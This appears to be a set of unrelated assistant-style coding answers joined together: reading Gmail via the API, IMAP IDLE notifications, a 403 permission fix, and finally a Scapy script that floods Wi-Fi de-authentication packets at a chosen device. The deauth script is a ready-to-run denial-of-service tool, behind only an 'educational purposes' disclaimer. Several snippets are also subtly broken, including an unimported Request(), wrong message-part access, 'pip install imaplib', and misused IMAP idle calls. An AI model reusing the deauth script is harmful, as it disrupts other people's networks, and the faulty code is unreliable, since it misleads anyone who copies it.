To read emails from Gmail using the Gmail API in Python, you'll first need to set up the Gmail API and authenticate your application. Here's a step-by-step guide:
credentials.json file.You'll need to install the Google client library:
pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib
Here's a sample script that authenticates and fetches the recent emails:
import base64
import os
from google.oauth2.credentials import Credentials
from google_auth_oauthlib.flow import InstalledAppFlow
from googleapiclient.discovery import build
# If modifying these SCOPES, delete the file token.json.
SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']
def get_service():
creds = None
# The file token.json stores the user's access and refresh tokens, and is
# created automatically when the authorization flow completes for the first time.
if os.path.exists('token.json'):
creds = Credentials.from_authorized_user_file('token.json')
# If there are no (valid) credentials available, prompt the user to log in.
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
'credentials.json', SCOPES)
creds = flow.run_local_server(port=0)
# Save the credentials for the next run
with open('token.json', 'w') as token:
token.write(creds.to_json())
return build('gmail', 'v1', credentials=creds)
def main():
service = get_service()
# Call the Gmail API to fetch recent emails (change maxResults to fetch more emails)
results = service.users().messages().list(userId='me', labelIds=['INBOX'], maxResults=10).execute()
messages = results.get('messages', [])
for message in messages:
msg = service.users().messages().get(userId='me', id=message['id']).execute()
email_data = msg['payload']['headers']
for values in email_data:
name = values['name']
if name == 'From':
from_name = values['value']
for part in msg['payload']['parts']:
data = part['data']
byte_code = base64.urlsafe_b64decode(data+'==')
text = byte_code.decode("utf-8")
print(f"From: {from_name}\nMessage: {text}\n")
if __name__ == '__main__':
main()
Run this script, and it will prompt you to authorize access to your Gmail account via a browser window. After authorizing, the script will fetch and display recent emails from your inbox.
Remember: Always be careful when dealing with emails programmatically. Do not unintentionally share or expose sensitive information, and use the least permissive scopes necessary for your task.
To enable push notifications for IMAP (e.g., Gmail) using the imaplib library in Python, you'll need to use the IMAP IDLE extension, which allows the server to notify your client about new email messages in real-time. To do this, you can follow these steps:
Enable IMAP Access in Gmail:
Install and Import Libraries:
imaplib library for IMAP communication.eventlet for asynchronous programming, or a similar library of your choice for handling concurrent connections. Install it using pip:pip install imaplib eventlet
In this example, we'll use eventlet for asynchronous code.
Code to Enable Push Notifications:
Here's a basic example of how you can use imaplib and eventlet to enable push notifications for Gmail:
import imaplib
import eventlet
from eventlet import wsgi
def handle_new_email(response):
print("New email received!")
print(response)
def main():
# Connect to the IMAP server (Gmail in this case)
imap_server = imaplib.IMAP4_SSL('imap.gmail.com')
# Login to your Gmail account
imap_server.login('[email protected]', 'your_password')
# Select the mailbox you want to monitor (e.g., INBOX)
mailbox = 'INBOX'
imap_server.select(mailbox)
# Enable the IMAP IDLE extension to listen for new messages
imap_server.idle()
while True:
# Wait for a response (new email notification)
response = imap_server.response('IDLE')
handle_new_email(response)
if __name__ == '__main__':
main()
Replace '[email protected]' and 'your_password' with your Gmail credentials. Please note that storing your password in plaintext like this is not secure, so consider using an app password if you enable two-factor authentication for your Gmail account.
Run the Code:
handle_new_email function will be called.Please be aware that this example is for demonstration purposes and may require additional error handling and improvements for production use. Additionally, using IMAP IDLE with Gmail may have limitations and rate limiting policies imposed by Google. It's essential to review Gmail's IMAP and API documentation for more information on its capabilities and limitations.
Receiving an HTTP 403 Insufficient Permission error when using the Gmail API in Python typically means that the credentials you're using to authenticate your API requests don't have the necessary permissions to perform the requested action. To get around this issue, you can follow these steps:
Check Scopes:
Make sure that you have requested the appropriate scopes when generating your credentials. Scopes define what actions your application is allowed to perform. If you're trying to perform an action that requires more permissions than your current scope allows, you'll need to regenerate your credentials with the correct scopes.
Refresh or Regenerate Credentials:
If you have updated the scopes or are unsure about the credentials you're using, refresh or regenerate your credentials following these steps:
a. Visit the Google Cloud Console: https://console.cloud.google.com/
b. Navigate to the project associated with your Gmail API usage.
c. Go to the "APIs & Services" > "Credentials" section.
d. If you already have credentials, you might need to edit them and update the authorized scopes.
e. If necessary, create new credentials with the correct scopes.
Revoke Access:
If you've tried the above steps and are still encountering the issue, try revoking access to your application and starting the authorization process again:
a. Go to your Google Account's security settings: https://myaccount.google.com/security
b. Under "Third-party apps with account access," find your application and revoke access.
c. Restart the authorization process in your application to generate new credentials with the correct scopes.
Permissions and Admin Consent:
If you're working with a G Suite account (enterprise or organization account), your G Suite administrator might have placed restrictions on third-party applications. Reach out to your administrator to ensure that the required permissions are granted.
Check Gmail API Documentation:
Review the Gmail API documentation for the specific API endpoint or action you're trying to perform. It might provide additional insights into the required scopes and permissions.
Handle OAuth2 Flow Correctly:
Ensure that you're correctly handling the OAuth2 authorization flow, including obtaining user consent and exchanging authorization codes for access tokens.
Retry After Making Changes:
After making changes to your credentials, scopes, or permissions, retry your API request to see if the issue has been resolved.
Remember to securely manage your API credentials and avoid hardcoding sensitive information into your code. Always follow best practices for handling credentials and tokens.
Using Scapy to disconnect devices from Wi-Fi essentially involves sending de-authentication packets to the target device or devices on a Wi-Fi network. However, it's crucial to understand that sending de-authentication packets to devices without proper authorization is illegal and unethical. The following tutorial is intended for educational purposes only. Always seek permission before running any such scripts on networks that aren't owned by you.
That said, here's how you can use Scapy to send de-authentication packets:
Pre-requisites:
pip install scapy).Code to send de-authentication packets:
from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp
import sys
def deauth(target_mac, ap_mac, iface='wlan0mon'):
# Craft the de-authentication packet
dot11 = Dot11(addr1=target_mac, addr2=ap_mac, addr3=ap_mac)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
# Sending the de-authentication packet in a loop to continuously disconnect the device
print(f"Sending Deauth to {target_mac} via AP {ap_mac}")
sendp(packet, inter=0.1, count=100, iface=iface, verbose=1)
if __name__ == '__main__':
if len(sys.argv) != 4:
print("Usage: python3 deauth.py <target_mac> <ap_mac> <interface>")
sys.exit(1)
target_mac = sys.argv[1]
ap_mac = sys.argv[2]
iface = sys.argv[3]
deauth(target_mac, ap_mac, iface)
Usage:
Run the script with:
python3 deauth.py <target_mac> <ap_mac> <interface>
Where:
<target_mac> is the MAC address of the target device you want to disconnect.<ap_mac> is the MAC address of the access point (router).<interface> is your wireless interface operating in monitor mode (e.g., wlan0mon).Again, it's crucial to understand the ethical and legal considerations when using such scripts. Only use it in environments where you have been explicitly given permission.
